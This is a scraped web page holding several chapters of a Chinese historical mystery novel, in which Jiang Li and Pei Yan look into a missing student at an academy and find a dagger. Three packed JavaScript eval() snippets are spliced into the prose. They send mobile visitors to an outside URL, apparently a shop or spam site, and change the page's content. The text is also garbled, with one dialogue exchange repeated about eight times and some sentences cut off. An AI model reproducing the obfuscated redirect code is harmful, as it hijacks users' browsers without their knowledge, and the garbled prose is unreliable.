没多时宁珏又道:“好吧好吧,如今师兄是不比往常了,咱们年纪大了,都和以前不一样了,可惜了今年的比武大会,我去岁都未进乙等……” 宜阳公主听着宁珏所以,对姜离无奈道:“这个游之,少时拿鹤臣做榜样,又无心从文,便吃了不少苦头学武,后来还真成了鹤臣的 师弟,只不过他们出身非比寻常,二十多岁总该要承担家族重任了,哪有那么多江湖之远?” 姜离从正门望出去,便见裴晏已带着九思几人大步离去。 恍惚间,她又想到了十年前的光景。 自从头次看到裴晏被高阳郡主鞭笞,姜离每进一次裴国公府,便心惊胆战一次,尤其见到高阳郡主温婉和善地待客,她一时难以将那日窥见的狠厉妇人与之对应。 那几年里,她潜心学医,与虞清苓一起出诊之时,也与裴晏打过几次照面,但勤于习武作文的裴世子一向来也匆匆去也匆匆,甚至未正眼看过她这个伯府义小姐。 她也只在各处不断听闻,他做的文章又得景德帝嘉尚,他又拜了哪位大儒为师,又小小年纪就编修了某某古籍,又或得知,他连着几年都未在长安过年,一半年月都在凌霄剑宗学武,又在百战榜上升了多少名次…… 他不在长安城,可年轻一辈处处皆有他的传言,学文的拿他做典范,好武的也以他为楷模,而景德帝也十分乐见世家子弟成为武林翘楚,更在宫宴上放言,希望他在十八岁之前,于凌霄剑宗的武林比武大会之上夺个头筹,让江湖人看看朝堂之上自有英杰,那时的裴晏才十三岁,高阳郡主在宫宴上闻言,当着文武百官,替裴晏应下了帝王期许。 “薛姑娘,你没生气吧?” 回神之际,便见宁珏目光炯炯看着她,姜离摇头:“五年前的旧事我听说过些许,宁公子气在何处,我想了想便也明白,人之常情罢了。” 姜离深明大义,倒让宁珏有些不自在,这时李策几人也入前厅,皆是见时辰不早提出告辞的,见姜离在此,李策笑意微深道:“近日真是巧了,总能碰见姑娘在外行医,不知姑娘出诊诊金几何?” 宁珏看李策一眼,轻笑道:“小郡王是不是看薛姑娘年纪轻轻医术高明,便想起了故人?不过依我看薛姑娘显然更……” “宁游之,你别哪壶不开提哪壶。” 李同尘急急打断宁珏,再看一眼李策,果然李策面色已变,但李策也不觉意外,他“嗤”地一笑,“算了,快到除夕了,我忍你一忍,同尘,咋们先走。” 宁珏眸子瞪大,“李寄舟,你——” 这日已是腊月初三,还有二十多日便至除夕,而
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方青晔应好,待出屋门,便见二楼廊道中挤满了在院学子,大抵知道了裴晏身份,众人既好奇,又多有惶恐地望着他。 待到了一楼廊道,便见薛琦为首的七八人正在廊下说话,高从章父子居左,永阳侯柳明程父子居右,中间站着一位满头银发的老者和一位中年锦衣男 子本该歇下的付宗源站在人群中大家正在温言安慰。 姜离目光扫过几人猜到了老者便是他们找的江楚城但如今事从紧急只能以付怀瑾失踪之事为重。 “鹤臣这位便是江老先生其他人你都认得——” 方青晔驻足引荐裴晏自当见礼江楚城虽是满头白发一双眸子却是炯炯有神他和蔼地望着裴晏道:“裴郎的公子我知道也是一早就见过的只是我致仕多年他想必不记得了这位便是薛中丞府上的姑娘?” 除了方伯樘就属江楚城最德高望重他说着又看向姜离姜离自也上来见礼江楚城欣然道“薛中丞好福气罢了你们不必耽误工夫 方青晔与裴晏皆拱手一行人步出廊道往院舍屋后转去。 书院内园景葱郁碧树如盖院舍后乃是一片柏树与紫竹交杂的木林几人踩着尚有湿意的枯枝小径直奔楼下果然看到靠近院舍的几株老柏枝梢横折。 方青晔道:“就是这几株老树每年夏天最繁茂之时我们会修剪枝叶但如今尚是初春我们便未管前日修补窗户时此处已被杂工们清理过一番但也没发现什么古怪。” 因连下两场雨墙根之下有不少枯枝落叶大大小小的脚印亦是泥泞纷杂裴晏往二楼看一眼又看向一楼“这楼下没有住人?” 方青晔应是“这间屋子去岁还是有人住的可今年年后老闹虫害好几个学生被咬得满身大包没法子就空置下来了正好去岁又退了几个学生年后院舍本也不紧张便用来堆放杂物了。” 裴晏这时拿过书院名册一边翻看一边道:“近日付怀瑾可与何人有过不快?” 方青晔一叹道:“其实是有的去岁年末宫中送来了十多套德兴一朝的残缺古籍是陛下想让叔父修书当今天下也只有叔父这等年岁、这等才学才能堪此任叔父昨日犯病也有连日疲累之故叔父也是在修书之时想让今岁的春试不同以往。” “若在今岁春试中表现优异者叔父极可能会带着头名二人同为陛下修书这些孩子多未至双十之龄又皆未考取功名这样天赐的机会如何能放过?为了此事他们一早便铆足了劲温书为此也生过些波澜付怀瑾的性子多有冲动为了抢藏书楼的两本文集曾在二十四那日与今岁新来的几个学子动过手。” “新来的学子?”裴晏疑问道。 “不错有四人因都是新来的自然而然学到了一处二十四那日他们在藏书楼门口动的手还惊动了叔父为此令他们几人面壁思过还写了悔过书。” 方青晔说完心惊道:“你的意思是与他们有关?但不可能的他们四人住在整个二楼最南面正好四人一间屋子这几日他们温书用饭全都在一处哦还有他们与付怀瑾不睦付怀瑾只怕连院舍的门都不许他们进——” 裴晏看完名册定声道:“不一定与他们有关但眼下线索不够我需摸排尽量多的人证你们昨日虽找了一整日但接下来我还是要让我的人再在书院各处搜寻今日开始课业暂停让大家多在学舍内温书莫要随意走动。” 方青晔将裴晏当做救命稻草他立刻应道“好我这就去安排。” 作者有话要说 第 144 章 疑似凶器 “你如何看?” 方青晔一走,裴晏转眸看向姜离。 姜离正望着付怀瑾破洞的窗户,“眼下来看,这个屋子只有正门能离开,屋内虽有血迹,又有笔架掉落在地,但说是有打斗痕迹,似乎也站不住脚,倘若有人入屋子刺伤了付怀瑾,再将其掳走,那如今付怀瑾能藏在何处?” “按袁焱的证词推算,付怀瑾似乎是二十九日夜半消失的,彼时雷雨交加,夜里书院除了门夫其他人都已歇下,这时若有人能将付怀瑾刺伤并掳走,那并非全无可能,但学舍两层楼的外廊皆是相通,凶手要行凶,定不敢动静太大,若付怀瑾放声大叫挣扎,不说别人,袁焱一定会被惊醒——” 裴晏话音落下,姜离道:“此人定是付怀瑾极信任之人,并且有足够的地方藏匿付怀瑾,那这人多半有单独的学舍。” 裴晏眉眼微定,“便先从学舍楼搜起,我亲自带人搜,书院就这么大,掘地三尺也得把人找出来。” 话音落下,裴晏先命九思唤来书院的斋夫杂工一同帮忙,待方青晔回来,见姜离施施然站在一旁,便道:“时辰不早了,我吩咐了厨娘,待会儿把早膳送去幽篁馆,姑娘不若先去歇会儿等着用膳?” 姜离莞然道,“您不必客气,我素闻白鹭山书院之名,想先在各处逛逛,不知可否。” 方青晔一听忙道:“那我让穗儿陪姑娘走走。” 姜离应好,方青晔便命人把张穗儿叫来,裴晏心知姜离多年未归想重游故地,便也许了此事,交代一番后,带着人往学舍楼前走去。 姜离站在道旁看着众人四散开来,这才凝神打量起书院。 时隔七年,书院内的学斋学舍皆重新修缮过,花木园艺也多有不同,那些数十年的古树虽仍苍劲虬结地伫立着,但还是令姜离生出了物是人非之感 姜离兀自感怀片刻,张穗儿快步跑了过来,“拜见姑娘,我带姑娘逛逛吧,姑娘想先去哪里?” 姜离左右看看,指了指东面几间跨院。 张穗儿一笑,机灵道:“姑娘,这是饭堂,这会儿快早膳时间了,咱们去瞧瞧——” 见张穗儿十分讨喜,姜离道:“你小小年纪,来书院许久了吗?” “我来了两年了,当年老先生回族中养病,恰逢我母 亲病逝,爷爷便把我要来身边带着,带了两年,再回来时我舍不得爷爷,爷爷也觉得我来书院能早些开蒙也很好,便把我带了过来。 张穗儿口齿伶俐,待出了木林,便道:“这几座院子都是打通的,中间为饭堂,北面为厨房,南面的则为热水房与沐浴浣衣之地,前几年有女学生之时,南面的小院是独立的,后来没了女学生,便全部拆了。 此时已至巳时,厨房院中正飘来阵阵饭香,怀夕道:“为何没了女学生? 张穗儿道:“也不是全然没有,是这几年越来越少了,若只有三五人来求学,老先生担心女儿家太少会出事端,便婉拒了她们,反正长安也多私学。 说话间三人到了厨房院外,便见厨房窗户大开,门内烟气袅袅,四个厨娘一个伙夫正脚不沾地地忙碌,张穗儿鼻息动了动,“今日早膳是汤饼—— 姜离未多打扰,又过月洞门往中院去,遂见膳堂厅门大开,里头七八张长木桌与二十来条木凳整齐安放着,张穗儿指了指南面,“前面是热水房和茶水房,再往南是浣衣房和浴房,浴房每过四日开放一日,大家只能在那日去沐浴。 姜离目光扫过几间院落,张穗儿又道:“这里没什么可看的,姑娘可想去藏书楼看看? 姜离莞尔,“也好,你带路吧。 张穗儿便带路往北行去,过了学舍楼北面的夹道,再过听泉轩,又转往北,行过德音楼往西北方向走,很快便到了一栋八角攒尖顶的楼舍之下。 “这里便是藏书楼了,一共四层,藏书有万册,许多都是外头寻不见的孤本,由老先生带着学生们一起修撰,好些文士大儒来书院拜访,总要先来此处。张穗儿说完,又往东北方向道:“那后面是文昌祠,每月老先生都带领学子们前去祭拜,再往外走便是北门,北门之外有碑林,姑娘也可去瞧瞧,不过院监说快用早膳了,姑娘用了早膳再去最好。 见张穗儿实在伶俐,姜离道,“好,听你的,我听方院监说几日前付怀瑾与几个新来的学子在此动过手? 张穗儿睁着黑白分明的眼睛望着姜离,“姑娘是帮裴世子问的? 姜离不禁失笑,“算是吧。 张穗儿便仔细回忆起来,“那是二十四那日的事了,午后我和爷爷正照 看老先生修书,忽然听到外头响起了几声急呼,便见虞梓谦和陶景华冲了进来,陶景华红着眼睛,虞梓谦则是求见院监,说打起来了让去劝架。 “院监吓了一跳,等到了藏书楼,便见门口围了许多人,这里的门夫宋叔正在拉架,付怀瑾和袁焱几个跟贺炳志打的不可开交—— 见姜离眸生疑问,张穗儿忙道:“贺炳志便是今岁新来的,今年才十六岁,但生得人高马大的,袁焱虽也会武,也不是对手,哦陶景华也是新来的,今岁十三,他们几个都是不远千里前来求学,家世也不比这些长安世家子,时不时便有些争端,但一般情况下,他们几个也都忍了,那天动手,是因付怀瑾几个过分…… 张穗儿面上闪过难言之态,显然连个小孩子都明白孰是孰非。 姜离便道:“那他们被欺负的,可会想着报复? 张穗儿摇头,“不能吧,他们很珍惜来书院的机会,老先生还分了不少膏火予他们,算下来,每年在此进学只需旁人束脩的一小半儿,他们都很感激呢。 话音刚落,夹道中走出个中年妇人来,这妇人身形矮小,略有发福,手中提着个食盒,一见姜离,便露出恭敬神色。 张穗儿忙道:“云嫂,是给薛姑娘送早膳的? 被叫云嫂的厨娘应是,赔着笑上前来,“这位便是客人吧,可是要去幽篁馆用膳? 姜离见状也只好道:“不错,那我们先回幽篁馆。 张穗儿麻利地上前接过食盒,“我来送吧云嫂,你腰上有伤,忙完了就回去歇着。 云嫂堆着笑意,待张穗儿接过食盒方转身离去,张穗儿便往幽篁馆引路,又道:“云嫂心地极好,别看她个头不高,力气却颇大,来书院小半年,厨房苦累的活儿抢着干,还会给先生们做夜宵点心,她做的桂花栗子糕就十分好吃。 姜离不禁道:“书院的每个人你都熟识? 张穗儿摸了摸脑袋,腼腆笑道:“那也不是,有时我会偷偷去听先生们授课教习,这才知道了那些学子们的事,相比之下,我和先生们更熟悉,偶尔也帮着他们跑跑腿。 说至此,姜离不由问:“那位林先生会医术? 张穗儿应是,“这位林先生刚过而立,好像是三年前来的书院,还方 院监的旧识,他是教经史的,学问极好,学子们也很喜欢他。” 说至此张穗儿又叹道,“爷爷说从前书院从不缺先生和学生,但来这书院的都是冲着老先生之名,自从老先生病倒之后,教学的先生都走了好几个。” 三人沿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037605|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着青石板小径往西南行,越过一座得真楼后便到了幽篁馆,望着眼前熟悉的屋舍,姜离一时生出了几分恍惚之感。 “薛姑娘,就是这里了——” 张穗儿缓步在前,“这里早年是裴世子的住所,您还不知吧,他从前先在老先生跟前进学,后来还帮老先生讲学过,爷爷说满长安无人不知他的才名。” 幽篁馆内遍植碧竹,盛春时节,郁郁葱葱,上房是裴晏居处,她的居所被安排在了西厢,待进门,便见屋内布置的清雅得宜,她的医箱正安放在西窗之下。 张穗儿打开食盒,姜离见汤饼有余,遂留他一同用膳,待膳毕,姜离收好食盒又问他,“与付怀瑾有关之事,你可还知道别的什么?” 张穗儿想了想道:“他的性情有些怪,平日里在先生们跟前,是十分彬彬有礼的,但和其他人相处时,他的喜怒变化则十分明显,连和他关系最好的袁焱都不能避免,哦还有,他胆子很小,很信神佛之说,会在身上带一个辟邪的玉珠,连沐浴都不取下,他还很怕小病小痛,一点儿不对便要立刻请大夫,若他这样的年纪哪有那么容易重病?” “哦,他还很怕有人害他,去岁夏天,因从前两个厨娘私贪银钱,用了腐坏的食物,使得好些人吃坏了肚子上吐下泻,当时他是第一个病变的,大抵吐得有些严重,他忽然害怕起来,说是有人给他下毒了,他命不久矣了,立刻让人去长安请御医。” 姜离拧眉道:“去岁就说有人害他?” 张穗儿耸耸肩,“许是因腹痛如绞罢,确也像中毒,他闹了没有一刻钟,其他人也相继出现了病状,这才知道是厨房出了事,但也足以看出他惜命胆小,他还不敢一个人去后山呢,总之,有种外强中干之感。” 张穗儿说完,下意识朝屋外看去,见院内无人方才松了口气,姜离笑道:“不必担心,这些话我不会乱说出去。” 张穗儿抓了抓脑袋,“姑娘歇会儿吧,我把食盒给云嫂送回去。” 姜离昨夜只浅眠片 刻,这会儿确有些困乏,但想到付怀瑾极可能凶多吉少,她此刻也无补眠之心,便道:“无碍,我随你同去,待会儿还得看看老先生。” 张穗儿笑着应好,几人又往前院而去,离开幽篁馆时,怀夕轻声道:“姑娘,从前裴大人一直住在此?” 姜离点头,怀夕又问:“那姑娘从前可常来此处?” 姜离一默,脸不红心不跳地摇头,“自然没有。” 怀夕自然没有不信的,便见张穗儿并未原路返回,而是带着人往校经堂的方向而去,过了校经堂西面的夹道,便是大讲堂,三人刚走上廊道,便见裴晏的人正守在大讲堂门口,袁焱和虞梓谦、薛湛等七八人也站在门外。 姜离往学舍楼上扫了一眼,正待去讲堂瞧瞧进展,一抬头,却见九思几人从君子湖方向大步而来,“公子,疑似凶器找到了——” 九思一声大喝,只令众人一惊,下一刻,裴晏与方青晔齐齐走了出来。 九思三步并作五步跑到二人跟前,气喘吁吁道:“匕首!找到了这把匕首,在湖畔的水草之中找到的,大概是想把匕首扔进湖里,结果没看清位置,我们的人搜的仔细,很快便瞧见了。” 裴晏接过匕首,便见是一把极其锋利,且手柄镶嵌血红璎珞的上品短匕,而这时,方青晔看着这把匕首道:“奇怪,这匕首我似乎在何处见过——” 此话一出,近前学子纷纷围上来,很快,薛湛骇然瞪向身旁之人,“袁焱,这不是你那把你叔父赠与你的贡品匕首吗?!” 作者有话要说 第 145 章 绝对信任 所有人都看向袁焱—— 便见袁焱白着脸,眼瞳大瞪,想反驳,可面对十来道质疑的目光,他只能磕磕绊绊道:“我、是我的匕首不错,可……可是这匕首早在昨日就不见了,我本来放在屋内书柜里的,但就在昨日怀瑾失踪之后,我担心书院内有歹人,便想着把匕首找出来,找出来防身,可我翻遍了书柜和书案的四五个抽屉,却都遍寻不见,当时我心中慌乱不已,只以为自己记错了地方,还想着等事情平定之后翻箱子找,我已经半个多月没开过放匕首的抽屉了,或许、或许早就不见了……” 豆大的冷汗从他额角滴落下来,他强撑道:“我也不知怎会在君子湖里。” 一席话落定,众人眼底质疑更甚,虞梓谦道:“我记得你说过,这把匕首是两年前陛下赏赐给你叔父的贡品,彼时正值你回长安求学,你叔父为了激励你,便把这宝物送给了你,你还说每当你心生退意时,便要拿出这把匕首看看,怎回半个月没开过抽屉?” 薛湛也道:“我也记得你说过这样的话。” 此言一出,柳元嘉道:“袁焱,我们书院眼下学问最好的也就那么四五人,你和怀瑾都在内,你不会是因为想跟着先生修书,所以……” 袁焱听得面色大变,“你胡说什么!我与怀瑾相识多年,我怎么会为了这区区一小利去谋害挚友呢!?是凶手!是凶手偷走了我的匕首嫁祸给我的。” 话音刚落,又一人站出来道:“现在只有你一个人听到了怀瑾房内的动静,你说什么我们便信什么,若你说了谎,还真无人能识破。” 袁焱目光一转盯着说话之人,咬牙道:“孔昱升,你少在这里冤枉我,我看就是你害了怀瑾,就是你怕怀瑾抢了你的头名——” 孔昱升着褐色长袍,身量清瘦,国字脸,长剑眉,颇有少年老成之相,他闻言冷笑道:“只有非滥竽充数的下作之人才会用这等法子求名求利,你虽和付怀瑾相识多年,可我看你们二人也并非毫无芥蒂嘛——” 孔昱升一番话气的袁焱胸膛起伏面色青紫,见裴晏并无打断之意,方青晔再看不下去,喝道:“行了!你们看看你们头顶这块匾额,如今付怀瑾生死未卜,你们却在此互相攻讦,这哪里是同窗的样子?!” 方青晔一吼,众人面露愧色,皆 不敢多言这时裴晏才道:“你们在此候着我先去湖边看看。” 姜离在旁看了半晌此刻也跟了上来裴晏将匕首递给她姜离仔细一看便见匕首刃口之上只有泥渍并无血迹但在手柄上的嵌宝花纹之中却有干涸的暗红色痕迹 裴晏目光几变步伐愈快一行人从听泉轩与德音楼之间的小径行至湖边便见盛春时节占地半亩的君子湖碧波盈盈云影悠悠湖畔蒿草齐膝芳花棋布若无付怀瑾失踪之事实在是极好的赏景之处。 “公子就在南面围栏之外——” 君子湖湖心极深湖畔建有回廊一圈以供通行除了花匠和杂工严禁学子们越过围栏嬉水因遍寻付怀瑾不见九思等人便往这方内湖之中搜寻不想付怀瑾不曾找到却无意间发现了这匕首。 九思越过回廊行过蒿草准确地指出了发现匕首之地又道:“我们找的时候未在周围发现脚印匕首应是被人扔过来的只是显然此人十分慌乱……另外我们已经搜了一圈湖中并未发现不妥。” 方青晔道:“所以真是凶手用这把匕首伤害了付怀瑾?可即便如此那付怀瑾在哪里呢?这书院里里外外就这么大地方又没有地窖他能去哪?” 至此刻付怀瑾已失踪了至少十四个时辰书院所有的屋舍与园景都寻遍却仍无其踪影好好一个人怎么会消失的如此彻底? “去把袁焱叫来。” 裴晏令下自有武卫去叫人见姜离还在看那把匕首裴晏道:“袁焱出自麟州袁氏他的叔父是神策军左营大将军袁兴武袁兴武有二子长子早年病逝二子是袁航袁航从武他便对侄儿袁焱报以厚望。” 姜离记得袁航去岁新娘屠夫案中第五位死者钱甘棠便是袁航将过门的未婚妻子她点了点头“那袁焱的父亲呢?” “他父亲早年中过举人但数次再考也未中进士后来一气之下回了麟州在族地中掌管家业并无功名在身袁氏如今以袁兴武为尊。” 裴晏解释完袁焱人也上了回廊他耷拉着脑袋走近裴晏便问:“说说你和付怀瑾这些年的交情——” 袁焱低着头脖颈上也冷汗津津他哑声 道:“我、我是麟州人付伯伯在九年前去了麟州任刺史我们当时都在麟州书院进学就是那时候相识的我们年岁相当家世也算相近自然而然成了好友已经快十年了。后来后来付伯伯调任我父亲和叔父也想让我入长安求学我们便在四年前一同回了长安起先在长安私学进学如今年岁渐长将来也都要走科考的路子便来了书院求老先生教诲我和他都没有亲兄弟这么多年相处下来说是情同手足都不为过。” 裴晏道:“孔昱升之言何解?” 袁焱豁然抬头“没真的没有芥蒂大人莫要听那孔昱升胡说一定是他害了怀瑾他嫉妒怀瑾的家世与文采一定是他——” “付怀瑾为何胆子极小?” 忽然姜离开了口袁焱眼皮一跳“什么?” 姜离定声问:“我听闻去岁夏日书院曾有过一次食物腐坏之祸当时他第一个发作因腹痛太猛他很快怀疑有人给他下毒要害死他你应当记得此事吧?” 袁焱面皮颤抖一下“记、记得。” “一般出了这等事就算以为是中了毒也多会怕自己误食了毒物但他却立刻想到是有人要害死他这是为何?” 姜离语气不疾不徐目光却定定盯着袁焱颇有压迫之感。 袁焱结巴道:“他、他确实是胆小怕死的性子我也不知为何每个人的性情都不同吧他自小颇受宠爱长大娇贵些也不算什么。” 裴晏不知去岁之事此时冷声道:“袁焱你若真当他是至交好友那便不得有一句隐瞒作假。” 袁焱不敢看裴晏的眼睛“自、自然我不敢的。” 袁焱此状一看便是心虚之态裴晏盯了他片刻转而道:“走吧去你房内看看这把匕首是如何丢失的。” 袁焱忙转身在前引路待他走远了些裴晏对姜离道:“适才已搜了所有独住之人的屋子未见任何藏人的可能又互问了人证 姜离将匕首递给九思又道“按付怀瑾屋内的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037606|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血迹来看其伤势不至致死但如今四处不见人只怕已经不能以常理论断……” 九思听着道:“难道说……将人藏在极狭小之处?那岂非是……” 今日是个阴天,时近午时,天边阴云堆积,九思这话一出,前后的大理寺武卫们皆背脊发凉,能将人藏去极其狭小之地,那只能是人已经不成“人形。 裴晏视线扫过目之所及的数栋楼阙,面色愈发严峻起来。 待到了袁焱学舍门口,便见屋内柜阁已有杂乱之相,他房内虽不比付怀瑾锦绣奢华,但家具器物也不少,袁焱指着书柜居中的一格抽屉道:“这里,本来是放在这里的,虽未上锁,可这屋子我但凡离去定会锁门,按理来说没有人能将抽屉打开偷走,我也不知怎么就出现在君子湖里了…… 袁焱面上懊恼不似作假,裴晏道:“当真半月未看? 袁焱应是,“当真……真的没看,这匕首在我进书院之时便带着了,起初,我的确是隔两日便一看,可这都一年多了,我怎么还会日日拿出来看?大人信我,起初我也有炫耀之意,如今大家都知道此事了,我何必日日供着?何况若是早知丢了,我一定早就着急了,这可是贡品,若是被叔父知道我是要遭殃的…… 裴晏道:“这半月可有人与你一同在房中久留? 袁焱仔细回忆道:“那倒是有,但也只有怀瑾一人来过—— 袁焱所言并无有效线索,姜离这时打量起屏风之后的箱笼来,袁焱见她目之所及道:“箱子里头也搜过的,何况怀瑾人高马大,那箱子也藏不了人不是? 话音刚落,姜离耳边忽然响起了一阵窸窣之声,几乎是同时,裴晏猝然抬头往顶上看去,袁焱等人慢了半拍,也听到了沙沙声,他面色一变,“老鼠!这顶上又有老鼠,实是可恶,幸好我早有所备—— 袁焱大抵恨极了老鼠,言毕快步朝门后走去,他抄出个竹竿来,又利落地踩着椅子跳上了书案,而后对着顶上木板使劲一戳,只听“咔 姜离定睛一看,一只半掌长的老鼠已口吐鲜血而亡,而这老鼠爪子上挂着几丝丝绒,显然在学舍里作乱已久。 书院早有鼠患,让姜离意外的并非老鼠,而是袁焱利落的身手,裴晏的目光落在袁焱手中竹竿上,“你可是自小习武? 袁焱一愣,连忙跳下地来,见那老鼠已死,松了口气道:“不错,自小习武,只是天分不足,再加上父亲和叔父都想让我从文,后来便疏于练习了。 “裴少卿,方院监,可是找到凶器了? 袁焱话音刚落,付宗源的声音响了起来,众人转身一看,便见他匆匆进了门,显然是得了匕首的消息赶来追责。 方青晔便面露难色道:“付侍郎先别急,虽然的确是袁焱的匕首,但他说匕首是丢了,眼下证据不足,付侍郎还是等我们查个清楚。 方青晔劝慰之意明显,然而付宗源一愣后道:“方院监此话何意?我自然不会怀疑袁焱,我不用想就猜到是有人偷了匕首陷害他。 付宗源语速极快,此话一出,不说裴晏和姜离,便是方青晔都跟着一愣,他忙道:“好,如此便好…… 作者有话要说 第 146 章 请假回长安 “可能查到是何人偷走了匕首?” 付宗源毫不怀疑袁焱,心底却仍是着急,裴晏道:“他已有多日未看匕首,尚不知匕首何时失踪,我们还要再查。” 付宗源又问,“那可能确定这把匕首便是伤了怀瑾的凶器?” “可能查到是何人偷走了匕首?” 付宗源毫不怀疑袁焱,心底却仍是着急,裴晏道:“他已有多日未看匕首,尚不知匕首何时失踪,我们还要再查。” 付宗源又问,“那可能确定这把匕首便是伤了怀瑾的凶器?” “可能查到是何人偷走了匕首?” 付宗源毫不怀疑袁焱,心底却仍是着急,裴晏道:“他已有多日未看匕首,尚不知匕首何时失踪,我们还要再查。” 付宗源又问,“那可能确定这把匕首便是伤了怀瑾的凶器?” “可能查到是何人偷走了匕首?” 付宗源毫不怀疑袁焱,心底却仍是着急,裴晏道:“他已有多日未看匕首,尚不知匕首何时失踪,我们还要再查。” 付宗源又问,“那可能确定这把匕首便是伤了怀瑾的凶器?” “可能查到是何人偷走了匕首?” 付宗源毫不怀疑袁焱,心底却仍是着急,裴晏道:“他已有多日未看匕首,尚不知匕首何时失踪,我们还要再查。” 付宗源又问,“那可能确定这把匕首便是伤了怀瑾的凶器?” “可能查到是何人偷走了匕首?” 付宗源毫不怀疑袁焱,心底却仍是着急,裴晏道:“他已有多日未看匕首,尚不知匕首何时失踪,我们还要再查。” 付宗源又问,“那可能确定这把匕首便是伤了怀瑾的凶器?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037607|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可能查到是何人偷走了匕首?” 付宗源毫不怀疑袁焱,心底却仍是着急,裴晏道:“他已有多日未看匕首,尚不知匕首何时失踪,我们还要再查。” 付宗源又问,“那可能确定这把匕首便是伤了怀瑾的凶器?” “可能查到是何人偷走了匕首?” 付宗源毫不怀疑袁焱,心底却仍是着急,裴晏道:“他已有多日未看匕首,尚不知匕首何时失踪,我们还要再查。” 付宗源又问,“那可能确定这把匕首便是伤了怀瑾的凶器?” “可能查到是何人偷走了匕首?” 付宗源毫不怀疑袁焱,心底却仍是着急,裴晏道:“他已有多日未看匕首,尚不知匕首何时失踪,我们还要再查。” 付宗源又问,“那可能确定这把匕首便是伤了怀瑾的凶器?” 第 147 章 窗纸虫害 “回长安?” 堂内众人皆惊,方青晔看一眼付宗源,道:“如今怀瑾下落不明,你这时回长安是为何?可是身体有何不适?” 袁焱面色有些苍白,额间更溢出冷汗,道:“学生确有不适,学生昨夜彻夜难眠,学生更怕、更怕书院会再出事端,遂想先回长安——” 方青晔眉头拧起,“我明白如今皆是人心惶惶,但裴世子已经来了,所有的教习先生也都警惕起来了,我们不容许书院再出事,你是何处不适?林先生会医术,薛姑娘更是长安城一等一的良医,你若难受,让他们也给你瞧瞧?” 姜离站在方伯樘榻前,此刻也目光锐利地盯着袁焱,袁焱快速地瞟了一眼姜离,白着脸道:“可是……可是学生……” 他语不成句,付宗源开口道:“袁焱,伯父知道你害怕,但你是怀瑾最好的朋友,他此刻下落不明,只怕还有需你帮忙之地,你这时回了长安,若需要你了该如何找你?你不要怕,如今不仅裴少卿来了,我们也都在,这么多人盯着谁敢犯事?” 付宗源说话的语气颇为严厉,只因袁焱与付怀瑾交好乃是众人皆知,如今付怀瑾生死未卜,袁焱却要离开是非之地,怎可能不叫人失望? 袁焱本就抱着侥幸之心,此刻被付宗源黑沉沉的目光笼罩着,愈发冷汗淋漓。 病榻上的方伯樘叹了口气道:“如今这情形,明日的考试只怕悬了,青晔,你安排下去,让先生们多费心,以找到怀瑾为要,也不得再生事端。” 方青晔忙应声,“您放心,我都交代好了,葛教头和林先生也帮忙看着。” 姜离这时上前两步,“袁公子,你何处不适?我可帮你看看。” 袁焱面色苍白眼下青黑,确有惊悸过度之感,但姜离话音落定,袁焱却退了半步,“多谢姑娘了,不敢劳烦姑娘,我去找林先生瞧瞧便可,先生,学生告退了。” 袁焱拱手做拜后快步离去,薛琦见状唏嘘道:“这些年来书院没出过事,这孩子瞧着是吓狠了,怀瑾那孩子我也是见过的,一定会吉人天相的。” 时辰已不早,付宗源看着外头阴沉沉的天,郁黑的脸色并没有因为这安慰之语好转。- 从文华阁出来,怀夕低声道:“这个袁焱莫不是心里有鬼,最好的朋友吉 凶未知,他却想溜之大吉,总不是他知道什么线索却不说吧? 姜离也觉得古怪,便看向一旁的张穗儿,“穗儿,你可知他二人情谊? 书院内除了几个厨娘皆为男子,唯有张穗儿这个小孩子尚不必忌讳男女之别,方青晔便干脆让张穗儿跟着姜离照顾跑腿,张穗儿闻言道:“他二人是真的极好,当初他们来书院时,是付侍郎和袁将军一道送来的,付侍郎和袁将军看起来也认识多时了,后来二人学舍挨在一起,进学习文二人也几乎是形影不离,只是付怀瑾不擅武,袁焱武学上更长些。 怀夕闻言更生疑,“那他急着走什么? 姜离秀眸微狭,“林先生经常给学生们瞧病? 张穗儿应好,又指向德音楼方向,“林先生昨夜没怎么睡,这会儿应该在楼里休息,姑娘可是想去瞧瞧? 姜离犹豫片刻,摇头,“不必了,我看袁焱就是受了惊吓,没什么大病,我们还是去学舍看看—— 几人往学舍而去,但刚走到德音楼外,一个身材健壮肌肤黝黑的中年男子自德音楼而出,其人步伐昂昂,但右腿微跛,走起路上肩膀一高一低。 “穗儿,山长醒了? 